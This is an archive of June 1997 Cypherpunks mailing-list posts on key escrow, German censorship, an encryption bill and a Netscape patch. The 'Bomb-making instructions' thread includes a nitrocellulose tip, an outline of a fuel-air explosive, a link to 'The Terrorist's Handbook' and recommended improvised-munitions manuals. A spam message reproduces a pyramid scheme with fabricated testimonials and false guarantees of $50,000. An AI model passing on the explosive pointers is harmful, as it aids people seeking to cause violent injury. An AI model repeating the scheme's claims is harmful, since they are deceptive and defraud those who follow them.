PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From ericm at lne.com  Sat Jun 28 10:38:18 1997
From: ericm at lne.com (Eric Murray)
Date: Sun, 29 Jun 1997 01:38:18 +0800
Subject: Bomb-making instructions....
In-Reply-To: 
Message-ID: <199706281724.KAA09438@slack.lne.com>



Tim May writes:


> Ironically, safety instructions for making bombs would almost certainly be
> lumped in with the actual formulas for explosives. (Actually, as the safe
> and proper handling is more critical to successful bomb-making than the
> mere mixture of chemicals, this is a certainty.)

Yes.  Instructions like "Do not drop bomb" and "run away after you
light the fuse" are enabling technologies which allow terrorists to
ply their trade.  By banning all safety instructions related to 
explosives, we will save American lives and make the world safe
for our children.







From jer+ at andrew.cmu.edu  Sat Jun 28 10:54:06 1997
From: jer+ at andrew.cmu.edu (Jeremiah A Blatz)
Date: Sun, 29 Jun 1997 01:54:06 +0800
Subject: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <0nhIq3200YUf03JXo0@andrew.cmu.edu>



Lucky Green  writes:
> At 11:16 PM 6/27/97 -0500, Igor Chudov @ home wrote:
> >Making explosives is very dangerous even if the recipes are right. I
> >personally knew many kids who lost fingers, eyes and other body organs
> >due to careless handling of homemade explosives. Probably, the important
> >thing to do before bombmaking is to learn the safety rules.
> 
> I would urge anyone interested in explosives, but unfamiliar with them, to
> first read the following books before attempting any recipes out of the
> "Anarchist's Cookbook" and similar publications. Your
> extremities/eyes/health will thank you.

Just for the record, _The Anarchist's Cookbook_ is full of
purposefully dangerous misinformation. It is written so that if you
follow enough of its recipies, you *will* kill yourself. I suggest old
archives or the newsgroup rec.pyrotechnics, which, until is self-
censored itself, provided excellent safety advice as well as how to
make things go boom. I'd imagine that there is still a wealth of
information about safety.

BTW, when making nitrocellulose, ice baths are your friends, cold
water will just not do. 

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole






From shamrock at netcom.com  Sat Jun 28 11:07:31 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 29 Jun 1997 02:07:31 +0800
Subject: CIA's Manual on Assassination Politics
In-Reply-To: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970628110214.039d4504@netcom10.netcom.com>



At 10:10 AM 6/28/97 -0700, Tim May wrote:
>Likewise, anyone interested in Assassination Politics should get ahold of
>the CIA's training manual for assassins and covert operatives. 
[...]

Until that manual becomes available, the reader may wish to take a look at:

"Intelligence Tactics, Techniques and Procedures (TTP) for Operations Other
Than War (OOTW)"
G2/S2
82nd Airborne Division
Guidelines and Lessons Learned

About $7 at the gun show.

>(And various CIA and DIA agents in various countries have their names
>published in the opposition press, the same kinds of press that Germany and
>other neo-fascist regimes are shutting down, a al Radikal and Integral and
>whatnot.)

In Europe, shit has long hit the fan. The member of the German parliament
under indictment for linking to the Radikal webpage is now also being
prosecuted for making the charges against her public. Seems it is illegal
in Germany to publicize any federal charges filed against you. The Geheime
[Secret, ed.] Staats Polizei roams the German streets again. Truly scary
stuff. And, yes, it can happen here.

[The defendant has a facsimile of the official court document on her
webpage. Guess that's going to be another count].


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From tcmay at got.net  Sat Jun 28 11:18:30 1997
From: tcmay at got.net (Tim May)
Date: Sun, 29 Jun 1997 02:18:30 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: 
Message-ID: 



At 10:11 AM -0700 6/28/97, Kent Crispin wrote:

>So how is that different than the current situation without
>cryptography?  If people couldn't live with key escrow, how can they
>live with the current situation?  Answer:  they live with the current
>situation because the government abuses you describe are kept below
>the revolution threshold.  The same would be the case with key escrow.

Not intending to squelch the thread by invocation of Godwin's Law, but how
does Nazi Germany fit into this model?

In case this isn't clear, the concern is that a GAK system is very
dangerous should a Nazi-like regime develop (or even should a J. Edgar
Hoover and/or Craig Livingstone regime develop). While regimes  of the past
few decades _may_ not be abusive in this way (apologies to Reagan, Bush,
and Clinton haters out there), the deployment of GAK would be a tempting
target for future despots and satraps.

Thanks, but I'll keep my own records, my own crypto keys, and my own money.

...

>But so what? Right now the government has intimate knowledge of your
>finances through tax records and other sources, and has the power to
>put liens on your property and your cash for all kinds of reasons.

This overstates the knowledge the government has of our finances. Much as I
oppose the IRS in so many ways, they are basically clueless about a whole
raft of transactions. The tax laws stipulate that incomes be reported, but
not what money is spent for, not to whom monies are paid (unless one is an
employer or a few other described situations), etc.

As to the future, I agree that there will be more consolidation and
cross-linking of data bases--including some the IRS has no _statutory_
access to (e.g., credit reporting , databases, absent a court order, though
apparently the CRAs are malleable).

By combining tax records, bank records, local property tax records, credit
card records, travel records (airlines, etc.), and so on, a much more
complete "citizen-unit tracking" data base can be built. This is something
most of us are fighting, in various ways, not something we should accept as
par for the course when contemplating GAK.

My view on GAK is quite simple: let those who wish to escrow their keys do
so. Let those who don't wish to keep their own keys and use crypto
algorithms of any strength they desire.


>Assuming certain models of key escrow, yes.  Under other models, no.
>But imagine the worst case -- GAK creates a huge unwieldy expensive
>computerized infrastructure and associated bureacracy.  What
>happens?  Businesses find other ways to protect their data and
>transactions, huge economic inefficiencies develop, and the whole
>thing collapses and goes away.
>
>It's amazing how little faith libertarians have in the market system,
>isn't it?  :-)

A cheap shot, even taking into account Kent Crispin's shilling for GAK.

If a key escrow system is in fact purely voluntary, who cares? I, for one,
don't.

(Though I often look at "voluntary" systems with an eye toward what I call
the "flag day scenario," where a legislative or executive-level "switch" is
thrown and what was once voluntary becomes mandatory. I oppose government
involvement in infrastructures which could too easily become mandatory.)

As various business groups have been reporting (check the archives for many
such mentions), there may be various needs for forms of "key deposit" and
"key recovery," and corporations often already have them. Typically they
involve data warehousing, keys deposited with company lawyers, etc. Many of
us keep written descriptions of our cryptographic keys/passphrases in safe
deposit boxes, or in sealed envelopes left in the care of friends or
family. This is partly to protect against the "I forgot my passphrase"
scenario, partly to allow reconstruction of files under various dire
circumstances, etc.

But these business groups have said clearly they don't want Big Brother
holding a master key to their communications and files!

And, as nearly all of us (_nearly_ all of us!) have pointed out,
repeatedly, whatever the putative need for key recovery is within
corporations, there is essentially no need for such a thing for
*communications*! The only viable customer for a communications key is
someone who has intercepted the communication!

Neither the sender, who has the files on his local disk, possibly
cryptographically protected under a key that the corporation wants a key
recovery program for, nor the receiver, who has the plaintext, or who
stores the received file in the same way, are customers for a GAK system
that involves the communications channel.

So, will government please drop all consideration of "key recovery" for
_communications_?

(I rather doubt this.)

>Governments have devalued currencies many many times in the past
>without the need of key escrow...key escrow is an independent issue.

Sure, but one of the potential advantages of strong crypto is the
oft-discussed "denationalization of money." Leading bankers are beginning
to see the light on this.

(See, for example, the cover story in "Wired" several months ago, where the
blurb was about Walter Wriston "sounding like a cypherpunk.")

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sat Jun 28 11:23:26 1997
From: tcmay at got.net (Tim May)
Date: Sun, 29 Jun 1997 02:23:26 +0800
Subject: CIA's Manual on Assassination Politics
In-Reply-To: 
Message-ID: 



At 11:02 AM -0700 6/28/97, Lucky Green wrote:

>In Europe, shit has long hit the fan. The member of the German parliament
>under indictment for linking to the Radikal webpage is now also being
>prosecuted for making the charges against her public. Seems it is illegal
>in Germany to publicize any federal charges filed against you. The Geheime
>[Secret, ed.] Staats Polizei roams the German streets again. Truly scary
>stuff. And, yes, it can happen here.
>
>[The defendant has a facsimile of the official court document on her
>webpage. Guess that's going to be another count].

"But if it saves the life of just one child!!!"

We are trading away our liberty for bullshit assurances of safety,
security, and protection from the Big Bad Wolf. (*)

The Founders had it right when they talked about those trading freedom for
security and safety deserving neither.

--Tim May

(* And of course the restrictions on publications of various items are
really designed to protect Those in Power; thus has it always been, thus
shall it always be.)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From azur at netcom.com  Sat Jun 28 13:55:57 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 29 Jun 1997 04:55:57 +0800
Subject: Bomb-making instructions....
In-Reply-To: <199706280416.XAA04026@manifold.algebra.com>
Message-ID: 



At 9:44 AM -0700 6/28/97, Lucky Green wrote:
>I would urge anyone interested in explosives, but unfamiliar with them, to
>first read the following books before attempting any recipes out of the
>"Anarchist's Cookbook" and similar publications. Your
>extremities/eyes/health will thank you.
>
>TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
>TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
>Techniques: Incendiaries"

See http://www.deltech.net/members/sniper/anarchy/hbook/Blkbook.txt

or http://phoenix.phreebyrd.com/~nero/tth/thb_title.html for a good copy of
The Terrorist's Handbook.

--Steve







From azur at netcom.com  Sat Jun 28 13:59:19 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 29 Jun 1997 04:59:19 +0800
Subject: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: 



At 11:16 PM -0500 6/27/97, Igor Chudov @ home wrote:
>Making explosives is very dangerous even if the recipes are right. I
>personally knew many kids who lost fingers, eyes and other body organs
>due to careless handling of homemade explosives. Probably, the important
>thing to do before bombmaking is to learn the safety rules.
>
>I agree with you though that certain recipes and chemicals are unsafe
>no matter how carefully to handle them.

Especially chlorates, perchlorates, fulminates and azides.

You want something which isn't shock sensitive.

If someone is going to write such a book it should include good
instructions for fuel-air explosives.  These can be little more than a
container of gasoline atop a small hig-explosive charge to atomisze,
disperse and ignite the fuel.  They can produce incredible pressure waves
from relatively small amounts of material.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From nobody at huge.cajones.com  Sat Jun 28 15:39:34 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 06:39:34 +0800
Subject: mailing list
Message-ID: <199706282214.PAA09700@fat.doobie.com>



Why the fuck are there so many requests from aol ?
thats eerie if you ask me.






From Pule at worldnet.att.net  Sat Jun 28 15:40:14 1997
From: Pule at worldnet.att.net (Daragh Lawlor)
Date: Sun, 29 Jun 1997 06:40:14 +0800
Subject: **Important** Please Read
Message-ID: <18161.235609.64160475 cypherpunks@algebra.com>




Dear friend,
This is a "ONE-TIME MESSAGE" you were randomly
selected to received this.
 There is no need to reply to remove, you will
 receive no further mailings
from us. 
If you have interest in this GREAT INFORMATION,
please do not click reply, use the contact
information in this message.  Thank You!

This is not a chain letter and you are not on a
mailing list. The following income opportunity is
one you may be interested in taking a look at. It
can be started with VERY MINIMAL outlay and the
income return is TREMENDOUS! <> <> <> <> <> <> <>
<> <> <> <> <> <> <> <> <> You are about to make
at least $50,000 - In less than 90 days Read the
enclosed program...THEN READ IT AGAIN!... <> <> <>
<> <> <> <> <> <> <> <> <> <> <> <> <> 
The enclosed information is something I almost let
slip through my fingers. Fortunately, sometime
later I re-read everything and gave some thought
and study to it. My name is Christopher Erickson.
Two years ago, the corporation I worked at for the
past twelve years down-sized and my position was
eliminated. After unproductive job interviews, I
decided to open my own business. Over the past
year, I incurred many unforeseen financial
problems. I owed my family, friends, and creditors
over $35,000. The economy was taking a toll on my
business and I just couldn't seem to make ends
meet. I had to refinance and borrow against my
home to support my family and struggling business.
I truly believe it was wrong for me to be in debt
like this. AT THAT MOMENT something significant
happened in my life and I am writing to share my
experience in hopes that this will change your
life FOREVER....FINANCIALLY!!! 

In mid-December, I received this program via email. Six months prior
to receiving this program I had been sending away
for information on various business opportunities.
All of the programs I received, in my opinion,
were not cost effective. They were either too
difficult for me to comprehend or the initial
investment was too much for me to risk to see if
they worked or not. One claimed I'd make a million
dollars in one year...it didn't tell me I'd have
to write a book to make it. But like I was saying,
in December of '95 I received this program. I
didn't send for it, or ask for it, they just got
my name off a mailing list. THANK GOODNESS FOR
THAT!!! After reading it several times, to make
sure I was reading it correctly, I couldn't
believe my eyes. Here was a MONEY-MAKING
PHENOMENON. I could invest as much as I wanted to
start, without putting me further in debt. After I
got a pencil and paper and figured it out, I would
at least get my money back. After determining that
the program is LEGAL and NOT A CHAIN LETTER, I
decided "WHY NOT". Initially I sent out 10,000
emails. It only cost me about $15.00 for my time
on-line. The great thing about email is that I
didn't need any money for printing to send out the
program, only the cost to fulfill my orders. I am
telling you like it is, I hope it doesn't turn you
off, but I promised myself that I would not
"rip-off" anyone, no matter how much money it cost
me! A good program to help do this is Ready Aim
Fire, an email extracting and mass mail program @
http://microsyssolutions.com/raf/ 

In less than one week, I was starting to receive orders for REPORT
#1. By January 13th, I had received 26 orders for
REPORT #1. When you read the GUARANTEE in the
program, you will see that "YOU MUST RECEIVE 15 TO
20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU
DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!" My
first step in making $50,000 in 20 to 90 days was
done. By January 30th, I had received 196 orders
for REPORT #2. If you go back to the GUARANTEE,
"YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2
WITHIN TWO WEEKS. IF NOT, SEND OUT MORE PROGRAMS
UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST
IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."
Well, I had 196 orders for REPORT #2, 96 more than
I needed. So I sat back and relaxed. By March
19th, of my emailing of 10,000, I received $58,000
with more coming in every day. I paid off ALL my
debts and bought a much needed new car. Please
take time to read the attached program, IT WILL
CHANGE YOUR LIFE FOREVER! Remember, it wont work
if you don't try it. This program does work, but
you must follow it EXACTLY! Especially the rules
of not trying to place your name in a different
place. It doesn't work, you'll lose out on a lot
of money! REPORT #2 explains this. Always follow
the guarantee, 15 to 20 orders for REPORT #1, and
100 or more orders for REPORT #2 and you will make
$50,000 or more in 20 to 90 days. I AM LIVING
PROOF THAT IT WORKS !!! If you choose not to
participate in this program, I'm sorry. It really
is a great opportunity with little cost or risk to
you. If you choose to participate, follow the
program and you will be on your way to financial
security. If you are a fellow business owner and
you are in financial trouble like I was, or you
want to start your own business, consider this a
sign. I DID! 

Sincerely, 
Christopher Erickson 

PS Do you have any idea what 11,700 $5 bills ($58,000)
look like piled up on a kitchen table? 

IT'S AWESOME! THREW IT AWAY" "I had received this
program before. I threw it away, but later
wondered if I shouldn't have given it a try. Of
course, I had no idea who to contact to get a
copy, so I had to wait until I was emailed another
copy of the program. Eleven months passed, then it
came. I DIDN'T throw this one away. I made $41,000
on the first try." Dawn W., Evansville, IN 

"NO FREE LUNCH" "My late father always told me,
'remember, Alan, there is no free lunch in life.
You get out of life what you put into it.' Through
trial and error and a somewhat slow frustrating
start, I finally figured it out. The program works
very well, I just had to find the right target
group of people to email it to. So far this year,
I have made over $63,000 using this program. I
know my dad would have been very proud of me."
Alan B., Philadelphia, PA 


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM 
By the time you have
read the enclosed information and looked over the
enclosed program and reports, you should have
concluded that such a program, and one that is
legal, could not have been created by an amateur.
Let me tell you a little about myself. I had a
profitable business for ten years. Then in 1979 my
business began falling off. I was doing the same
things that were previously successful for me, but
it wasn't working. Finally, I figured it out. It
wasn't me, it was the economy. Inflation and
recession had replaced the stable economy that had
been with us since 1945. I don't have to tell you
what happened to the unemployment rate...because
many of you know from first hand experience. There
were more failures and bankruptcies than ever
before. The middle class was vanishing. Those who
knew what they were doing invested wisely and
moved up. Those who did not, including those who
never had anything to save or invest, were moving
down into the ranks of the poor. As the saying
goes, "THE RICH GET RICHER AND THE POOR GET
POORER." The traditional methods of making money
will never allow you to "move up" or "get rich",
inflation will see to that. You have just received
information that can give you financial freedom
for the rest of your life, with "NO RISK" and
"JUST A LITTLE BIT OF EFFORT." You can make more
money in the next few months than you have ever
imagined. I should also point out that I will not
see a penny of your money, nor anyone else who has
provided a testimonial for this program. I have
already made over FOUR MILLION DOLLARS! I have
retired from the program after sending out over
16,000 programs. Now I have several offices which
market this and several other programs here in the
US and overseas. By the Spring, we wish to market
the 'Internet' by a partnership with AMERICA ON
LINE. Follow the program EXACTLY AS INSTRUCTED. Do
not change it in any way. It works exceedingly
well as it is now. Remember to email a copy of
this exciting program to everyone that you can
think of. One of the people you send this to may
send out 50,000...and your name will be on every
one of them!. Remember though, the more you send
out, the more potential customers you will reach.
So my friend, I have given you the ideas,
information, materials and opportunity to become
financially independent, IT IS UP TO YOU NOW!
"THINK ABOUT IT" Before you delete this program
from your mailbox, as I almost did, take a little
time to read it and REALLY THINK ABOUT IT. Get a
pencil and figure out what could happen when YOU
participate. Figure out the worst possible
response and no matter how you calculate it, you
will still make a lot of money! Definitely get
back what you invested. Any doubts you have will
vanish when your first orders come in. IT WORKS!
Paul Johnson, Raleigh, NC HERE'S HOW THIS AMAZING
PROGRAM WILL MAKE YOU $$$$$$ Let's say that you
decide to start small, just to see how it goes,
and we'll assume you and all those involved send
out 2,000 programs each. Let's also assume that
the mailing receives a .5% response. Using a good
list the response could be much better. Also many
people will send out hundreds of thousands of
programs instead of 2,000. But continuing with
this example, you send out only 2,000 programs.
With a 5% response, that is only 10 orders for
REPORT #1. Those 10 people respond by sending out
2,000 programs each for a total of 20,000. Out of
those .5%, 100 people respond and order REPORT #2.
Those 100 mail out 2,000 programs each for a total
of 200,000. The .5% response to that is 1,000
orders for REPORT #3. Those 1,000 send out 2,000
programs each for a 2,000,000 total. The .5%
response to that is 10,000 orders for REPORT #4.
That's 10,000 five dollar bills for you. CASH!!!!
Your total income in this example is $50 + $500 +
$5000 + $50,000 for a total of $55,550!!!!
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF
2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY
NOTHING... AND TRASH THIS PROGRAM! DARE TO THINK
FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF
SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.
Believe me, many people will do that and more! By
the way, your cost to participate in this is
practically nothing. You obviously already have an
internet connection and email is FREE!!! REPORT#3
will show you the best methods for bulk emailing
and purchasing email lists. THIS IS A LEGITIMATE,
LEGAL, MONEY MAKING OPPORTUNITY. It does not
require you to come in contact with people, do any
hard work, and best of all, you never have to
leave the house except to get the mail. If you
believe that someday you'll get that big break
that you've been waiting for, THIS IS IT! Simply
follow the instructions, and your dream will come
true. This multi-level email order marketing
program works perfectly...100% EVERY TIME. Email
is the sales tool of the future. Take advantage of
this non-commercialized method of advertising
NOW!! The longer you wait, the more people will be
doing business using email. Get your piece of this
action!! MULTI-LEVEL MARKETING (MLM) has finally
gained respectability. It is being taught in the
Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated
that between 50% and 65% of all goods and services
will be sold throughout Multi-level Methods by the
mid to late 1990's. This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the
US, 20% (100,000) made their fortune in the last
several years in MLM. Moreover, statistics show 45
people become millionaires everyday through
Multi-Level Marketing. INSTRUCTIONS We at Erris
Mail Order Marketing Business, have a method of
raising capital that REALLY WORKS 100% EVERY TIME.
I am sure that you could use $50,000 to $125,000
in the next 20 to 90 days. Before you say "Bull",
please read the program carefully. This is not a
chain letter, but a perfectly legal money making
opportunity. Basically, this is what we do: As
with all multi-level business, we build our
business by recruiting new partners and selling
our products. Every state in the USA allows you to
recruit new multi-level business partners, and we
offer a product for EVERY dollar sent. YOUR ORDERS
COME AND ARE FILLED THROUGH THE MAIL, so you are
not involved in personal selling. You do it
privately in your own home, store or office. This
is the GREATEST Multi-level Mail Order Marketing
anywhere: Step (1) Order all four 4 REPORTS listed
by NAME AND NUMBER. Do this by ordering the REPORT
from each of the four 4 names listed on the next
page. For each REPORT, send $5 CASH and a SELF-
ADDRESSED, STAMPED envelope (BUSINESS SIZE #10) to
the person listed for the SPECIFIC REPORT.
International orders should also include $1 extra
for postage. It is essential that you specify the
NAME and NUMBER of the report requested to the
person you are ordering from. You will need ALL
FOUR 4 REPORTS because you will be REPRINTING and
RESELLING them. DO NOT alter the names or sequence
other than what the instructions say. IMPORTANT:
Always provide same-day service on all orders.
Step (2) Replace the name and address under REPORT
#1 with  yours, moving the one that was there down
to REPORT #2. Drop the name and address under
REPORT #2 to REPORT #3, moving the one that was
there to REPORT #4. The name and address that was
under REPORT #4 is dropped from the list and this
party is no doubt on the way to the bank. When
doing this, make certain you type the names and
addresses ACCURATELY! DO NOT MIX UP MOVING
PRODUCT/REPORT POSITIONS!!! Step (3) Having made
the required changes in the NAME list, save it  as
a text (.txt) file in it's own directory to be
used with whatever email program you like. Again,
REPORT #3 will tell you the best methods of bulk
emailing and acquiring email lists. Step (4) Email
a copy of the entire program (all of this is very
important) to everyone whose address you can get
your hands on. Start with friends and relatives
since you can encourage them to take advantage of
this fabulous money-making opportunity. That's
what I did. And they love me now, more than ever.
Then, email to anyone and everyone! Use your
imagination! You can get email addresses from
companies on the internet who specialize in email
mailing lists. These are very cheap, 100,000
addresses for around $35.00. IMPORTANT: You won't
get a good response if you use an old list, so
always request a FRESH, NEW list. You will find
out where to purchase these lists when you order
the four 4 REPORTS. ALWAYS PROVIDE SAME-DAY
SERVICE ON ALL ORDERS!!! REQUIRED REPORTS ***Order
each REPORT by NUMBER and NAME*** ALWAYS SEND A
SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR
EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME
AND NUMBER
__________________________________________________
 REPORT #1
 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM: 
T.R. Enterprises
800 S. Pacific Coast Highway, #8-425
Redondo Beach,
CA 90277
__________________________________________________
____
 REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES" 
ORDER REPORT #2 FROM:
J.K.Enterprises
 P. O.  Box 10893
 Blacksburg, VA
24060
__________________________________________________
______
 REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Hendon Enterprises
P.O. Box 188
Seguin, TX 
__________________________________________________
_____ REPORT #4 "EVALUATING MULTI-LEVEL SALES
PLANS" ORDER REPORT #4 FROM: 
78156Prosperity Group
PO Box 968
Englewood, FL 

__________________________________________________
______ CONCLUSION I am enjoying my fortune that I
made by sending out this program. You too, will be
making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing. To be
financially independent is to be FREE. Free to
make financial decisions as never before. Go into
business, get into investments, retire or take a
vacation. No longer will a lack of money hold you
back. However, very few people reach financial
independence, because when opportunity knocks,
they choose to ignore it. It is much easier to say
"NO" than "YES", and this is the question that you
must answer. Will YOU ignore this amazing
opportunity or will you take advantage of it? If
you do nothing, you have indeed missed something
and nothing will change. Please re-read this
material, this is a special opportunity. If you
have any questions, please feel free to write to
the sender of this information. You will get a
prompt and informative reply. My method is simple.
I sell thousands of people a product for $5 that
costs me pennies to produce and email. I should
also point out that this program is legal and
everyone who participates WILL make money. This is
not a chain letter or pyramid scam. At times you
have probably received chain letters, asking you
to send money, on faith, but getting NOTHING in
return, NO product what-so-ever! Not only are
chain letters illegal, but the risk of someone
breaking the chain makes them quite unattractive.
You are offering a legitimate product to your
people. After they purchase the product from you,
they reproduce more and resell them. It's simple
free enterprise. As you learned from the enclosed
material, the PRODUCT is a series of four 4
FINANCIAL AND BUSINESS REPORTS. The information
contained in these REPORTS will not only help you
in making your participation in this program more
rewarding, but will be useful to you in any other
business decisions you make in the years ahead.
You are also buying the rights to reprint all of
the REPORTS, which will be ordered from you by
those to whom you mail this program. The concise
one and two page REPORTS you will be buying can
easily be reproduced at a local copy center for a
cost off about 3 cents a copy. Best wishes with
the program and Good Luck! "IT WAS TRULY AMAZING"
"Not being the gambling type, it took me several
weeks to make up my mind to participate in this
program. But conservative as I am, I decided that
the initial investment was so little that there
was no way that I could not get enough orders to
at least get my money back. BOY, was I ever
surprised when I found my medium sized post office
box crammed with orders! I will make more money
this year than any ten years of my life before."
Mary Riceland, Lansing, MI TIPS FOR SUCCESS Send
for your four 4 REPORTS immediately so you will
have them when the orders start coming in. When
you receive a $5 order, you MUST send out the
product/service to comply with US Postal and
Lottery laws. Title 18 Sections 1302 and 1341
specifically state that: "A PRODUCT OR SERVICE
MUST BE EXCHANGED FOR MONEY RECEIVED." WHILE YOU
WAIT FOR THE REPORTS TO ARRIVE: 1.	Name your new
company. You can use your own name if you desire.
2.	Get a post office box (preferred). 3.	Edit the
names and addresses on the program. You must
remember, your name and 	address go next to REPORT
#1 and the others all move down one, with the
fourth one 	being bumped OFF the list. 4.	Obtain
as many email addresses as possible to send until
you receive the information on 	mailing list
companies in REPORT #3. 5.	Decide on the number of
programs you intend to send out. The more you
send, and the 	quicker you send them, the more
money you will make. 6.	After mailing the
programs, get ready to fill the orders. 7.	Copy
the four 4 REPORTS so you are able to sent them
out as soon as you receive an 	order. IMPORTANT:
ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS 	YOU
RECEIVE! 8.	Make certain the letter and reports
are neat and legible. YOUR GUARANTEE The check
point which GUARANTEES your success is simply
this: you must receive 15 to 20 orders for REPORT
#1. This is a must!!! If you don't within two
weeks, email out more programs until you do. Then
a couple of weeks later you should receive at
least 100 orders for REPORT #2, if you don't, send
out more programs until you do. Once you have
received 100 or more orders for REPORT #2, (take a
deep breath) you can sit back and relax, because
YOU ARE GOING TO MAKE AT LEAST $50,000.
Mathematically it is a proven guarantee. Of those
who have participated in the program and reached
the above GUARANTEES-ALL have reached their
$50,000 goal. Also, remember, every time your name
is moved down the list you are in front of a
different REPORT, so you can keep track of your
program by knowing what people are ordering from
you. IT'S THAT EASY, REALLY, IT IS!!! REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR
ANYTHING." "INVEST A LITTLE TIME, ENERGY AND MONEY
NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE."






From geeman at best.com  Sat Jun 28 15:47:08 1997
From: geeman at best.com (geeman at best.com)
Date: Sun, 29 Jun 1997 06:47:08 +0800
Subject: details of 6/26 action on HR 695??
Message-ID: <3.0.32.19970628122120.0068d2f8@best.com>



Hello Washington watchers - 
Hey, what are the **details** ?
Are these the same amendments from before, or new ones?




Congressional Record: June 26, 1997 (House)]
[Page H4834]
>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
[DOCID:cr26jn97-74]



 
                  REPORTED BILL SEQUENTIALLY REFERRED

  Under clause 5 of rule X, the following action was taken by the 
Speaker:

       H.R. 695. A bill to amend title 18, United States Code, to 
     affirm the rights of U.S. persons to use and sell encryption 
     and to relax export controls on encryption; with an 
     amendment; referred to the Committees on Commerce, National 
     Security, and the Permanent Select Committee on intelligence 
     for a period ending not later than September 5, 1997, for 
     consideration of such provisions of the bill and amendment 
     reported by the Committee on the Judiciary as fall within the 
     jurisdiction of those committees pursuant to clause 1(e) and 
     (k), rule X and rule XLVIII, respectively.







From bennett_t1 at popmail.firn.edu  Sat Jun 28 15:59:58 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Sun, 29 Jun 1997 06:59:58 +0800
Subject: mailing list
In-Reply-To: <970628033152_-2097406877@emout16.mail.aol.com>
Message-ID: <33B5A070.95C56E16@popmail.firn.edu>



CrShNDy at aol.com wrote:

> I want on the mailing list please

   Awww, great, another one.  RTFM.






From tomw at netscape.com  Sat Jun 28 16:03:14 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Sun, 29 Jun 1997 07:03:14 +0800
Subject: More about Netscape Bug finder
In-Reply-To: 
Message-ID: <33B596B0.A6349B29@netscape.com>



Lynne L. Harrison wrote:
> 
> At 03:32 PM 6/28/97 GMT, Brian Lane wrote:
> >
> >On Mon, 16 Jun 1997 22:41:24 -0400, you wrote:
> >
> >>An Email Trail from Bug Spotter to
> >>           Netscape
> >>           6:01pm  13.Jun.97.PDT The following is a copy of the
> >>           email exchange between Netscape officials and
> >
> >[rest snipped]
> >
> >  Notice that none of this exchange is signed in any way. I don't
> >doubt Netscape's claim as to what happened, but really this is just a
> >bunch of letters assembled in the right order. There's no reason to
> >trust the contents.
> 
> This reminded me to ask if anyone knows if, per their statement,
> Netscape intends to u/l a patch for the 3.x versions.  When I checked
> yesterday, I didn't see any reference to it.

Yes, we're working on a patch for 3.x.  It's somewhat harder to do than
patching 4.0 because we weren't set up to build 3.x anymore.  For some
of the weirder Unix platforms we had to reinstall older versions of
compilers and OSes.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From dlv at bwalk.dm.com  Sat Jun 28 16:18:58 1997
